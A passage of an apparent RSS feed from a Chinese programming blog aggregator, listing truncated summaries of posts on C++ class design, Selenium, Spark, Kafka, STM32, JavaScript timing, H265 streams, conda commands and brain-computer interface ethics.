      <description>设计一个书店管理系统，能完成书店的日常管理工作。&#xA;要求完成的基本功能：&#xA;1、进货入库记录。&#xA;2、销售出货记录。&#xA;3、图书信息查询：可通过书名、作者等途径查询某本图书的详细信息（含书名、作者、出版社、页数、最新入库时间、库存量、价格等）。&#xA;4、自动预警提示（当某图书的库存量为1时自动预警提示）&#xA;模块化 根据类的继承与多态，我们可以创建以书Book为基类，BookStore为派生类，分为头文件.h和函数文件.c再加上主函数main.c即可&#xA;类的分别实现 类的实现是在分别的.h文件当中,并且.h文件当中应当包含类所含成员函数和属性等等。&#xA;Book.h&#xA;#pragma once #include &amp;lt;iostream&amp;gt; #include &amp;lt;fstream&amp;gt; #include &amp;lt;cstring&amp;gt; #include &amp;lt;ctime&amp;gt; #include &amp;lt;cstdlib&amp;gt; using namespace std; class Book { private: string title, author, publisher, time; int pages, quantity; float price; public: Book(); void setTitle(string title); void setAuthor(string author); void setPublisher(string publisher); void setTime(string time); void setPages(int pages); void setQuantity(int quantity); void setPrice(float price); string getTitle(); string getAuthor(); string getPublisher(); string getTime(); int getPages(); int getQuantity(); float getPrice(); }; BookStore.</description>
    </item>
    <item>
      <title>Python Selenium CSS 定位方法详解</title>
      <link>https://bchobby.github.io/posts/63ef56847dadc9364deb32287fd28ea8/</link>
      <pubDate>Wed, 21 Jun 2023 13:55:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63ef56847dadc9364deb32287fd28ea8/</guid>
      <description>目录&#xA;CSS 介绍&#xA;CSS定位常见符号&#xA;通过id, class, 标签 三个常规属性定位元素&#xA;1、通过id选择器查找&#xA;2、通过class选择器查找&#xA;3、通过标签定位元素&#xA;单属性选择器定位&#xA;组合属性定位：&#xA;层级选择器：&#xA;CSS 介绍 CSS(Cascading Style Sheets)层叠样式表是一种用来表现HTML或XM等文件样式的计算机语言&#xA;CSS 使用选择器来为页面元素绑定属性, 这些选择器可以被 selenium 用作另外的定位策略&#xA;CSS 可以比较灵活选择控件的任意属性, 一般情况下定位速度要比 XPath 快，定位更稳定&#xA;源码如下：&#xA;def find_element_by_css_selector(self, css_selector): &#34;&#34;&#34; Finds an element by css selector. :Args: - css_selector - CSS selector string, ex: &#39;a.nav#home&#39; :Returns: - WebElement - the element if it was found :Raises: - NoSuchElementException - if the element wasn&#39;t found :Usage: element = driver.</description>
    </item>
    <item>
      <title>广电用户画像分析之根据客户消费内容添加标签</title>
      <link>https://bchobby.github.io/posts/8b9f6abb8cce5f5e944381107a6453fa/</link>
      <pubDate>Wed, 21 Jun 2023 09:45:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b9f6abb8cce5f5e944381107a6453fa/</guid>
      <description>本篇博客将介绍如何添加用户消费标签和用户消费等级标签.&#xA;建议阅读之前先阅读数据预处理的博客再读本篇博客.&#xA;相关前提：&#xA;https://blog.csdn.net/kilig_CSM/article/details/131299347?spm=1001.2014.3001.5501&#xA;根据客户消费内容添加标签 该类的目的是创建一个消费者标签（Consumer Label）。它通过读取名为mmconsume_billevents的表中的数据，根据字段&#34;phone_no&#34;和&#34;fee_code&#34;进行去重，然后使用自定义的函数consumerLabel为每个消费者分配一个标签，最后将结果保存到名为consumerLabel的表中。&#xA;思路： 首先，创建一个SparkSession对象，设置应用程序名称、Master地址，并启用Hive支持。&#xA;根据设定的日志级别，将SparkContext的日志级别设置为&#34;WARN&#34;，以减少输出的日志信息。&#xA;从名为processData.mmconsume_billevents的表中选择&#34;phone_no&#34;和&#34;fee_code&#34;两列，并对其进行去重操作，得到一个新的DataFrame对象billevents。&#xA;定义了一个自定义函数consumerLabel，用于根据fee_code的不同值分配消费者标签。&#xA;使用consumerLabel函数，将billevents DataFrame中的&#34;fee_code&#34;列作为输入，通过withColumn方法添加名为&#34;consumerLabel&#34;的新列，该列的值通过应用consumerLabel函数来计算。&#xA;最后，将结果以&#34;overwrite&#34;模式保存到名为userPrint.consumerLabel的表中。&#xA;总体而言，该代码通过对mmconsume_billevents表的数据进行处理和转换，生成了一个包含消费者标签的新表consumerLabel，用于进一步分析和使用消费者数据。&#xA;完整代码 package code.userprint import org.apache.spark.sql.SparkSession import org.apache.spark.sql.functions._ object ConsumerLabel { def main(args: Array[String]): Unit = { System.setProperty(&#34;HADOOP_USER_NAME&#34;, &#34;root&#34;) val spark = SparkSession.builder().appName(&#34;Process&#34;) .master(&#34;local[*]&#34;) .enableHiveSupport() .getOrCreate() // spark.sparkContext.setLogLevel(&#34;WARN&#34;) // 根据字段 &#34;phone_no&#34;,&#34;fee_code&#34; 去重 val billevents = spark.table(&#34;processData.mmconsume_billevents&#34;).select(&#34;phone_no&#34;, &#34;fee_code&#34;).distinct() val consumerLabelUdf = udf((x: String) =&amp;gt; consumerLabel(x)) billevents .withColumn(&#34;consumerLabel&#34;, consumerLabelUdf(col(&#34;fee_code&#34;))) .write .mode(&#34;overwrite&#34;) .saveAsTable(&#34;userPrint.consumerLabel&#34;) } /** * 直播 0J 0B 0Y * 应用 0X * 付费频道 0T * 宽带 0W 0L 0Z 0K * 点播 0D * 回看 0H * 有线电视收视费 0U * */ def consumerLabel(fee_code: String):String = { if (fee_code == &#34;</description>
    </item>
    <item>
      <title>kafka的原理及集群部署详解</title>
      <link>https://bchobby.github.io/posts/ca5bf09c88ddf8d28ec8939bfcad8b5f/</link>
      <pubDate>Wed, 21 Jun 2023 05:53:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca5bf09c88ddf8d28ec8939bfcad8b5f/</guid>
      <description>消息队列分类 点对点 组成：消息队列（Queue）、发送者（Sender）、接收者（Receiver）&#xA;特点：一个生产者生产的消息只能被一个接受者接收，消息一旦被消费，消息就不在消息队列中了&#xA;发布/订阅 组成：消息队列（Queue）、发布者（Publisher）、订阅者（Subscriber）、主题（Topic）&#xA;特点：每个消息可以有多个消费者，彼此互不影响，即发布到消息队列的消息能被多个接受者（订阅者）接收&#xA;常见的消息系统 ActiveMQ： 历史悠久，支持性较好，性能相对不高&#xA;RabbitMQ： 可靠性高、安全&#xA;Kafka： 分布式、高性能、高吞吐量、跨语言&#xA;RocketMQ： 阿里开源的消息中间件，纯Java实现&#xA;kafka架构 kafka介绍 Kafka是一个分布式的发布/订阅消息系统，最初由LinkedIn(领英)公司发布，使用Scala语言编写，后成为Apache的顶级项目。&#xA;kafka主要用于处理活跃的数据，如登录、浏览、点击、分享等用户行为产生的数据。&#xA;kafka架构组成 Broker broker表示kafka的节点，kafka集群包含多个kafka服务节点，每个kafka服务节点就称为一个broker&#xA;Topic 主题，用来存储不同类别的消息（kafka的消息数据是分主题存储在硬盘上的）&#xA;存储消息时，需要指定存储在哪个主题下面，如发帖，发哪种类型的&#xA;Partition 分区，每个topic包含一个或多个partition，在创建topic时指定包含的partition数据（目的是为了进行分布式存储）&#xA;分区可以提高负载（每个分区是不同的磁盘，所以会提高负载）&#xA;Replication 副本，每个partition分区可以有多个副本，分布在不同的Broker上&#xA;kafka会选出一个副本作为Leader，所有的读写请求都会通过Leader完成，Follower只负责备份数据&#xA;所有Follower会自动从Leader中复制数据，当Leader宕机后，会从Follower中选出一个新的Leader继续提供服务，实现故障自动转移&#xA;Message 消息，是通信数据的基本单位，每个消息都属于一个Partition，消息都是放在Partition里面的&#xA;Producer 消息的生产者，向kafka的一个topic发布消息，发布消息时，需要指定发布到哪个topic主题&#xA;Consumer 消息的消费者，订阅Topic并读取其发布的消息，消费或订阅哪个topic主题里的消息，可以订阅多个主题的消息（类似订阅多个微信公众号）&#xA;Consumer Group 消费者组，每个Consumer属于一个特定的Consumer Group，多个Consumer可以属于同一个Consumer Group&#xA;各个consumer可以组成一个组，每个消息只能被组中的一个consumer消费，如果一个消息可以被多个consumer消费的话，那么这些consumer必须在不同的组。&#xA;ZooKeeper 协调Kafka的正常运行，kafka将元数据信息保存在ZooKeeper中，但发送给Topic本身的消息数据并不存储在ZK中，而是存储在磁盘文件中&#xA;元数据信息包括：kafka有多少个节点、有哪些主题，主题叫什么，有哪些分区的等（消息自身的数据不在ZK中，而是在磁盘上对应的分区中）&#xA;kafka的工作流程 生产者向kafka发送数据的流程（六步） 一共六步：&#xA;生产者查询Leader：producer先从zookeeper的“/brokers/.../state”节点找到该partition的leader&#xA;找到Leader之后往Leader写数据：producer将消息发送给该leader&#xA;Leader落盘：leader将消息写入本地log&#xA;Leader通知Follower&#xA;Follower从Leader中拉取数据：replication写入到Follower的本地log后，follower向leader发送ack&#xA;Kafka向生产者回应ACK：leader收到所有的replication的ack之后，向producer发送ack&#xA;Kafka选择分区的模式（三种） 直接指定往哪个分区写&#xA;指定key，然后kafka根据key做hash后决定写哪个分区&#xA;各个分区轮询&#xA;生产者往kafka发送数据的模式（三种） 把数据发送给Leader就认为成功，效率最高，安全性低&#xA;把数据发送给Leader，等待Leader回复Ack后则认为发送成功&#xA;把数据发送给Leader，确保Follower从Leader拉取数据回复Ack给Leader，Leader再向生产者回复Ack才认为发送成功，安全性最高&#xA;数据消费 多个消费者可以组成一个消费者组，并用一个标签来标识这个消费者组（一个消费者实例可以运行在不同的进程甚至不同的服务器上）&#xA;如果所有的消费者实例都在同一个消费者组中，那么消息记录会被很好的均衡发送到每个消费者实例&#xA;如果所有的消费者实例都在不同的消费者组，那么每一条消息记录会被广播到每一个消费者实例</description>
    </item>
    <item>
      <title>基于STM32的环境监测系统设计与实现</title>
      <link>https://bchobby.github.io/posts/7c054f710f7f718b01fc21018013b461/</link>
      <pubDate>Tue, 20 Jun 2023 21:32:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c054f710f7f718b01fc21018013b461/</guid>
      <description>摘 要 当今，环境问题成为我们最关注的问题之一，环境中的各项数据如温度、湿度、光照度、PM2.5等关乎着我们的生活品质。随着人类社会的蓬勃发展，在人的生活条件逐渐便利的同时，也对环境造成了一定程度上的影响，这就需要对环境进行检测和治理，通过根据各地的实际情况不断的调整发展方向。本次的设计就是基于单片机的检测系统，对检测环境与治理有着重大的作用和意义。&#xA;本设计以单片机为核心，实时监测温度、湿度、光照度、PM2.5的值是否超出规定范围。要实现以上要求，首先需要对系统的硬件电路进行设计，选用合适的单片机作为核心和特定的传感器来获取温度、湿度、光照度、PM2.5的数值，然后对硬件部分和软件部分进行调试，达到数据显示基本正常和具有实时性的目的。本设计选择STM32F103单片机作为核心控制元件, 包括以下模块：液晶显示屏、PM2.5检测部分、温湿度检测部分、光敏电阻部分、电源电路等。&#xA;通过各个模块之间的相互配合，能够实时监测温度、湿度、光照度、PM2.5的参数，并把数据实时显示在显示屏上。本次设计的优点有：①实时性方面比较的好，因为可以通过延时函数的设计来决定每次采样数据的间隔时间；②使用时比较的方便，随开所用，不用做复杂的前置工作；③比较经济实惠，材料钱不需要花费太多。&#xA;关键词&#xA;STM32F103单片机；DHT11温湿度传感器；激光粉尘传感器;光敏电阻&#xA;目 录 第一章 绪论 1.1 研究背景及意义 1.2 现状分析 1.3 主要研究的内容 第二章 硬件方案 2.1 总体设计 2.2 STM32F103芯片 2.3 TFTLCD液晶显示屏幕 2.4 光敏电阻 2.5 温湿度传感器 2.6 PM2.5传感器 第三章 设计原理 3.1 整体程序处理 3.2 温湿度传感器取值 3.3 光敏电阻取值 3.4 PM2.5取值 第四章 硬件调试 4.1硬件线路的连接 4.2 温湿度调试 4.3 光照度调试 4.4 PM2.5调试 第五章 项目整合 第六章 总结 参考文献 附录A 本次设计的硬件电路图 附录B main 中的主要程序 绪论 1.1 研究背景及意义 环境问题已然成为了我们生活中最重要的问题之一，世界在快速发展的同时，也对环境造成了一定的负面影响，如PM2.5的超标，因此造成的大雾天气等。因此环境的各项数据，如温度、光照度、大气压强、湿度、PM2.5等逐渐引起重视，这些数据对环境的治理有着非常重要的意义，通过对这些数据的分析，我们可以根据各地的实际情况对环境或政策进行治理，环境问题因此可以得到缓解。同时这些数据也关乎到我们的生活质量，只有在适宜的环境中，我们才能发展的更好，社会才会更加繁荣，人们的生活才会更加美好。&#xA;1.2 现状分析 我们国家建设了中国环境监测总站用于环境的监控，在各行业部门也已建立起初具规模的环境监测体系;较大规模的环境监控系统在我国已经非常成熟，但规模较大，应用并不广泛，小规模、智能化的环境监控系统有待开发。&#xA;现在，我们国家环境监测仪的生产厂家有一百五十多家，而且年产值高达5亿元[3]。但我们国家的环境监测仪还不能适应我国环境监测工作发展的需要。而且我们国家生产的档次不是太高，大部分都是中低档的环境监测仪器，主要表现为：技术的档次有待提高，大部分都是低水平、重复生产，规模效益比较的低；产品质量较低，性能一般不稳定，而且一致性不好，使用寿命不长，引发故障率高；研究开发能力较低，而且研究投入较少，在线监测仪器的系统配套生产的能力较低，不能适应市场的需要。</description>
    </item>
    <item>
      <title>async/await 函数到底要不要加 try catch ?</title>
      <link>https://bchobby.github.io/posts/d4f3b235895cf15d489f1b2851fe0987/</link>
      <pubDate>Tue, 20 Jun 2023 20:33:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4f3b235895cf15d489f1b2851fe0987/</guid>
      <description>写异步函数的时候，promise 和 async 两种方案都非常常见，甚至同一个项目里，不同的开发人员都使用不同的习惯, 不过关于两者的比较不是本文关注的重点，只总结为一句话：“async 是异步编程的终极解决方案”。&#xA;当使用 async 函数的时候，都说建议用 try catch 来捕获异常, 可是实际上我看了很多项目的代码，遵循的并不是严谨，很多都没有用，甚至 catch 函数都没写，这是为什么呢？&#xA;我们先看下使用 try catch 情况下的代码示例：&#xA;示例1 ：使用 try catch function getUserInfo () { return new Promise((resolve, reject) =&amp;gt; { setTimeout(() =&amp;gt; { reject(&#39;请求异常&#39;) }, 1000) }) } async function logined () { try { let userInfo = await getUserInfo() // 执行中断 let pageInfo = await getPageInfo(userInfo?.userId) } catch(e) { console.warn(e) } } logined() 执行后会在 catch 里捕获 请求异常，然后 getUserInfo 函数中断执行，这是符合逻辑的，对于有依赖关系的接口，中断执行可以避免程序崩溃，这里唯一的问题是 try catch 貌似占据了太多行数，如果每个接口都写的话看起来略显冗余。</description>
    </item>
    <item>
      <title>为什么会出现 SETTIMEOUT 倒计时误差</title>
      <link>https://bchobby.github.io/posts/0bd14dbd4a1dcac3d675c498a0d90c3e/</link>
      <pubDate>Tue, 20 Jun 2023 20:31:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bd14dbd4a1dcac3d675c498a0d90c3e/</guid>
      <description>setTimeout 倒计时误差的出现主要与 JavaScript 的事件循环机制和计时器的执行方式有关。&#xA;在 JavaScript 中，事件循环是用于管理和调度代码执行的机制。setTimeout 用于设置一个定时器，在指定的延迟时间后执行回调函数。然而，由于事件循环的机制，setTimeout 并不能保证在准确的时间间隔后执行回调函数，而是将回调函数插入到事件队列中，等待当前代码执行完毕后再执行。&#xA;因此，setTimeout 的倒计时误差可能会受到以下因素的影响：&#xA;1. 延迟执行：setTimeout 设置的延迟时间并不是精确的时间点，而是一个最小延迟时间。如果事件循环中有其他代码正在执行，setTimeout 的回调函数可能会被推迟执行。&#xA;2. 系统负载：当系统负载较重时，事件循环可能会出现延迟。这可能导致 setTimeout 的回调函数执行的时间比预期的要晚。&#xA;3. 睡眠模式：在某些设备上，当设备进入睡眠模式时，定时器可能会暂停，直到设备被唤醒。这会导致 setTimeout 的回调函数执行时间延迟。&#xA;为了减少 setTimeout 倒计时误差，可以考虑以下方法：&#xA;1. 使用精确计时库：可以使用像 setInterval 或 requestAnimationFrame 这样的精确计时机制来实现准确的定时任务。&#xA;2. 手动调整：在每次定时器触发后，通过记录实际执行时间并与预期执行时间进行比较，计算误差并进行手动调整，以纠正误差。&#xA;3. 使用 Web Workers：将计时任务移至 Web Workers 中执行，这样可以避免与主线程的其他代码竞争，提高定时器的准确性。&#xA;4. 使用时间戳：而不是依赖定时器的延迟时间，使用时间戳来进行倒计时和计算，可以更精确地控制时间。&#xA;以下是一个使用高精度时间戳的示例，用于减少 setTimeout 倒计时误差：&#xA;function countdown(duration, callback) { const startTime = performance.now(); function tick() { const currentTime = performance.now(); const elapsedTime = currentTime - startTime; const remainingTime = duration - elapsedTime; if (remainingTime &amp;lt;= 0) { callback(); } else { setTimeout(tick, Math.</description>
    </item>
    <item>
      <title>音视频数据处理-H265/HEVC视频码流分析</title>
      <link>https://bchobby.github.io/posts/8694c3cd59dc63ea4d6a7ff1896f06fa/</link>
      <pubDate>Tue, 20 Jun 2023 18:10:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8694c3cd59dc63ea4d6a7ff1896f06fa/</guid>
      <description>一、H265概述&#xA;H265/HEVC（Hight Efficiency Video Coding）是由ITU-T和ISO/IEC两大组织在H264/AVC的基础之上推出的新一代高效视频编码标准，主要为应对高清和超高清视频在网络传输和数据存储方面带来的挑战。上一篇文章对H264/AVC视频码流进行了详细的分析，本文继续从数据处理的角度对H265/HEVC视频码流进行详细分析。&#xA;二、H265分层结构&#xA;H265的分层结构与H264类似，分为视频编码层（VCL：Video Code Layer）和网络抽象层（NAL：Network Abstract Layer）。&#xA;VCL层：对视频的原始数据进行压缩，包含原始的视频数据。&#xA;NAL层：将视频压缩数据根据内容不同划分成不同类型的NALU单元进行网络传输。&#xA;三、H265码流结构&#xA;H265原始码流（裸流）是由多个NAL单元组成的，具体如下图所示：&#xA;NALU单元是由什么组成的呢？和H264的NALU单元组成一样，主要由三部分组成，具体如下图所示：&#xA;1.Start Code&#xA;Start Code，即开始码，一般为4字节或3字节，必须是“0x00 0x00 0x00 0x01”或“0x00 0x00 0x01”，用来表示一个NALU单元的开始。&#xA;2.NALU Header&#xA;NALU Header，占2个字节，由forbidden_bit(1bit)，nal_unit_type(6bits)，nuh_layer_id(6bit)，nuh_temporal_id_plus1(3bit)四部分组成，具体如下图所示：&#xA;（1）forbidden_bit(1bit)&#xA;F禁止位，占用NALU Header的第一个字节的第一个位，值默认0，值为1时表示错误，当网络发现NAL单元有比特错误时可设置该比特为1，以便接收方纠错或丢掉该单元。&#xA;（2）nal_unit_type(6bits)&#xA;Type类型，占用NALU Header的第一个字节的第二到七位，用来表示NAL单元的类型，具体取值如下图所示：&#xA;H265 NALU Type&#xA;（3）nuh_layer_id(6bit)&#xA;LayerId预留位，占用NALU Header的第一个字节的最后一位和第二个字节的前五位，默认全为0，用于未来扩展。&#xA;（4）nuh_temporal_id_plus1(3bit)&#xA;TID时域层标号，占用NALU Header的第二个字节的最后三位，一般默认值为1，其值减1为该NALU时域层标号。&#xA;3.NALU Payload&#xA;NALU Payload，即视频压缩数据RBSP，但是严格意义上来说，Payload数据应该是EBSP，接下来详细介绍一下H265码流数据中的相关概念，与H264类似。&#xA;SODB（String Of Data Bits）：原始数据比特流&#xA;由VCL层产生的的原始数据流，由于数据长度不一定是8的倍数，为方便计算机进行处理，就用到了RBSP。&#xA;RBSP（Raw Byte Sequence Payload）：原始字节序列载荷&#xA;即在SODB的后面添加了trailing bits，即一个bit 1和若干个bit 0，以便字节对齐。&#xA;EBSP （Encapsulated Byte Sequence Payload）:扩展字节序列载荷&#xA;NALU单元是通过开始码“0x00 0x00 0x00 0x01”或者“0x00 0x00 0x01”来表示一个NALU单元的开始，同时H265规定，当检测到“0x00 0x00 0x00”时，也可以表示当前NALU的结束。那这样就会产生一个问题，就是如果在NALU的内部，出现了“0x00 0x00 0x01”或“0x00 0x00 0x00”时该怎么办？所以在h265码流中规定每有两个连续的“0x00 0x00”，就增加一个“0x03”,从而预防压缩后的数据与开始码产生冲突，防止竞争。</description>
    </item>
    <item>
      <title>人工智能领域ccf a期刊中科院分区-2023</title>
      <link>https://bchobby.github.io/posts/5943d80fd8c2630bd85dd5bbef348d92/</link>
      <pubDate>Tue, 20 Jun 2023 18:07:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5943d80fd8c2630bd85dd5bbef348d92/</guid>
      <description>参考：&#xA;https://www.ccf.org.cn/Academic_Evaluation/By_category/</description>
    </item>
    <item>
      <title>Python Anaconda创建虚拟环境及Pycharm使用虚拟环境</title>
      <link>https://bchobby.github.io/posts/9907403b4dffe55760649e917b49c6c1/</link>
      <pubDate>Tue, 20 Jun 2023 17:51:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9907403b4dffe55760649e917b49c6c1/</guid>
      <description>目录 前言&#xA;一、Anaconda与Pycharm&#xA;二、conda常用命令&#xA;三、Pycharm使用虚拟环境&#xA;总结&#xA;前言 我们在做开发任务时可能会创建多个项目，这些项目可能会依赖于不同的Python环境。比如有的用到Python3.6、有的用到Python3.7；有的用Pytorch开发、有的用TensorFlow开发。这时我们需要为不同的项目分别提供所需的版本和依赖项放到不同的虚拟环境中，这样可以将各项目所需环境隔离开，让项目之间不会起冲突。&#xA;本文介绍了使用conda方法创建虚拟环境的常用命令以及在Pycharm中使用该虚拟环境。&#xA;一、Anaconda与Pycharm Anaconda是Python开源的发行版本，其中包含了conda、Python等180多个科学包及其依赖项。使用conda创建虚拟环境，可以在电脑里配置多个Python环境并灵活切换。&#xA;Anaconda与Pycharm的区别：Anaconda是管理Python的软件，而Pycharm就像是一个高级记事本。因此博主在使用Python环境时通常是使用Anaconda创建虚拟环境，通过Pycharm使用虚拟环境和编辑程序代码。&#xA;二、conda常用命令 1.创建虚拟环境 conda create --name env_name python=3.7 -y 其中，env_name替换为自己想要的环境名字，python=3.7表示指定python版本为3.7，-y意味着遇到询问直接回复y（可不写该参数，后面自己选择输入），--name可以简写为-n&#xA;2.进入虚拟环境 conda activate env_name 3.退出虚拟环境 conda deactivate 4.查看当前虚拟环境列表 conda info -e 5.删除虚拟环境 conda remove --name env_name --all -y 6.克隆虚拟环境 conda create --name new_env_name--clone old_env_name # new_env_name 为新环境的名称 # old_env_name 为被克隆的环境名称 7.重命名虚拟环境 conda rename --name old_name new_name 8.查看安装的包 conda list 9.安装包 conda install 包名 当然，Python自带的pip安装包工具也可以使用&#xA;pip install 包名 10.更新已安装包 # 更新env_name下numpy和scipy conda update -n env_name numpy scipy # 更新env_name中所有包 conda update -n env_name --all 11.</description>
    </item>
    <item>
      <title>脑机接口科普0022——黑门02：伦理道德问题</title>
      <link>https://bchobby.github.io/posts/770651a6a5fa6cc301efe11078eec813/</link>
      <pubDate>Tue, 20 Jun 2023 17:37:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/770651a6a5fa6cc301efe11078eec813/</guid>
      <description>本文禁止转载！！！！&#xA;脑机接口这个技术，是属于黑科技技术中的一种。&#xA;现在已经有很多专家，以及机构，提出脑机接口的存在的一些问题。法律是一块的问题，伦理道德是另一块的问题。&#xA;虽然说，法律比伦理道德严苛，但是法律问题从来就不是一种问题。&#xA;任何问题，遇到法律方面的问题，不过就是一纸文书的问题。&#xA;没有相关的法律条文？不好意思，我明天就给你立法通过一个法律条文，来限制你的某种行为。&#xA;黑门动漫第一集里面，男主和他师傅，在开车的过程中，广播中就在播放关于对脑机接口这类人工智能的法律管理规定。&#xA;这里，我尽量少截图黑门中的动画片，免得到时被黑门或者B站告我侵权。&#xA;（希望黑门的所有者，或者B站不要给我发什么律师函啊~~~~~~我就是科普黑门动漫中出现的东西）&#xA;黑门动漫里面，给我们展示了第一个不好的伦理道德问题——特权！&#xA;在某个公交车上，出现了一个脑机接口的用户出现病状。需要及时赶到现场救治。&#xA;男主和他师傅，是个医生。系统通知他们去救援，要求5分钟内赶到现场。系统说，给你们开辟一个特权道路，让你们尽快到达。&#xA;这个特权就是——逆向行驶！&#xA;QNMD！&#xA;这个动画片上，还特地标注了，危险动作，请勿模仿。&#xA;人工智能的发展，不是说为了让某些人享受特权——虽然你是医生，你是去救死扶伤的！&#xA;你享受了特权，就是挑战了法律！挑战法律的结果，就是伦理道德的沦丧。&#xA;既然可以有人凌驾于法律之上，法律这么严苛的东西都束缚不了，那么为什么要用伦理道德来束缚？&#xA;以下是脑机接口的一些伦理问题（可能伦理道德还有其他很多方面）：&#xA;第一个伦理道德问题：谁有权控制你的大脑？&#xA;大家可能关注黑门动漫里面的标题“黑门”两个值，而没有关注“蜂群”这两个字。&#xA;蜂群后面有个故事，大概故事是，蜜蜂要搬家了，先派几个蜜蜂出去找新房子，有几个蜜蜂找到新的蜂巢了。然后所有的蜜蜂都乌泱泱的全部一起飞到新的蜂巢里面去。&#xA;有个叫凯文·凯利的人，写了一本书，叫做《失控》。这本书里面提到：蜂群思维是一种集体思维，没有强制的中心控制，次级单位具有自治的特质。&#xA;蜂群思维这句话怎么理解呢？&#xA;我个人的理解是，所以的蜜蜂都具有集体思维，即，所有的蜜蜂都朝着新的蜂巢方向飞去，搬到新的家，大家都朝着一个目的去就可以了。&#xA;关于这个蜂群思维，我后面会单独列一章，详细介绍蜂群思维。&#xA;很明显，蜂群思维有好处，也有坏处。&#xA;好处就是，大家都朝着同一个目的去努力，照着群体思维的方式去做，这样避免了内耗。&#xA;想想看，举个例子，我们人类，5个好朋友聚在一起，要吃个饭。能提出5种不同的饭店地点。这就是内耗。&#xA;如果，某个人提出去某个饭店，其他人都响应，就直接照着做，那么其他人避免了思考，也避免了争论，那么就减少了很多内耗。&#xA;蜂群思维的坏处是，它没有中心控制。万一所有的蜜蜂，都朝着死亡的地点飞去，那么整个群体就直接灭亡了。&#xA;同样类比，人是一个独立的个体，有独立的思维，不是想蜜蜂这种昆虫一样是群体思维的。回到第一个伦理道德问题：谁有权控制你的大脑？&#xA;如果有人控制了所有人的大脑，让人像蜜蜂一样，具有群体思维。那么这是非常恐怖的一件事。&#xA;军国主义的复苏会变得特别容易。&#xA;希特勒还演讲个屁！&#xA;日本天皇还宣传个屁的武士道精神！&#xA;直接脑机接口控制就可以了。&#xA;所以，伦理道德里面的第一个问题就是，谁有权控制你的大脑？&#xA;第二个伦理道德问题：谁有权享受大脑增强剂和调控手段？&#xA;如果，我们真的可以像《黑客帝国》中的雷欧一样，脑袋后面插一个东西，连接到服务器上面，就可以学会所有的中国功夫，就可以学会所有的枪械的使用。&#xA;、&#xA;那么，问题出现了，谁可以，或者谁有权利享受这个大脑增强剂？&#xA;如果某个人生病了，如黑门第一集里面描述的，乘客发生了癫痫，也在脑子里面植入了一个设备，专门治疗癫痫。&#xA;那么，问题出现了，谁可以，或者谁有权利享受大脑的神经调控？&#xA;是有钱的人可以享受大脑功能增强以及大脑神经调控？还是有权的人可以？&#xA;普通人，或者说，穷人，是否可以享受脑机接口技术带来的大脑功能增强以及大脑疾病治疗？&#xA;如果，脑机接口技术被有钱的人或者有权的人把控，只允许他们对大脑进行调控增强，那么，这个社会是不是回到了晋朝时期，上层社会被豪强门阀所把持？而普通的素族根本没有上升的渠道。&#xA;毕竟，如果上层有钱人或者有权人掌握了脑机接口技术，他们可以在1s钟内，像黑客帝国一样，掌握当前世界全部的高科技，而那些底层人民只能做体力劳动，沦为类似黑客帝国的人体电池。&#xA;第三个伦理道德问题：精神类脑疾病的定义和界限？&#xA;黑门里，公交车上那个发病的病人，是患有癫痫的。而因为这个癫痫，这个人，找工作也找不到。社会上还会受到各种歧视。虽然那时候2058年已经可以使用脑机接口治疗癫痫了。&#xA;那么，其他一些精神类的脑部疾病该怎么定义，有没有什么界限？有没有什么量化标准？&#xA;例如，有个小孩，患有精神分裂症，那么，谁可以给这个小孩定义他具有精神分裂症这个疾病？是医生？还是掌握脑机接口技术的公司？他们给小孩定义精神分裂症的界限是什么？有什么量化标准？&#xA;如果精神类的脑疾病没有明确的定义和界限，那么很容易就会造成一些误判，甚至会影响一个人一辈子的命运。&#xA;想想看，有些例子，有些人，被送到精神病医院，就永远出不来了。其实，有些人的精神疾病并不是一成不变的，可以通过一些方法去缓解或者根除的（如与大自然接触）。但是，如果精神类的疾病定义和界限不明显，这个人可能就会被误定义或者误判断。&#xA;第四个伦理道德问题：有精神类疾病的人如果犯罪是否应受到惩罚？&#xA;目前主流的观点好像是不需要受到惩罚。或者即使受到惩罚，也不是顶格处罚。&#xA;如，有个人，杀人了，那这个人基本上就是死刑。但是，如果这个人有精神疾病，可能会根据他杀人期间是否有自主意识，来减轻量刑，如死缓，而不是死刑。&#xA;这个里面同样存在一些伦理道德问题。就是凭什么A杀人就是死刑，B杀人就不是死刑。&#xA;有很多人就是钻了这块法律的漏洞，在审判的时候，就要求做精神类的鉴定。&#xA;第五个伦理道德问题：人工智能可以取代哪些职业？&#xA;这个问题，是所有研究人工智能的学者专家都不得不考虑的一个问题。&#xA;黑门里面，人工智能技术已经发展的那么先进了，都可以实现自动驾驶了。但是还是需要人的手指来操控触摸屏，在特殊情况下，还是需要人手动驾驶。&#xA;以目前的技术发展来看，人工智能要完全取代人类劳动，释放人的劳动生产力，还具有很大的一个距离。&#xA;但是随着技术的发展，人工智能代替人的职业，又是不得不考虑的一个问题。&#xA;人工智能可以取代哪些职业？&#xA;医生——人工智能看病&#xA;律师——人工智能打官司，写诉状&#xA;清洁工——人工智能打扫马路卫生&#xA;驾驶员——人工智能自动驾驶</description>
    </item>
    <item>
      <title>Client not connected,current status:STARTING|Nacos cluster is running with 1.X mode, can‘t accept gR</title>
      <link>https://bchobby.github.io/posts/39dfde9a493660f0d90fb8f9211377ea/</link>
      <pubDate>Tue, 20 Jun 2023 17:14:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39dfde9a493660f0d90fb8f9211377ea/</guid>
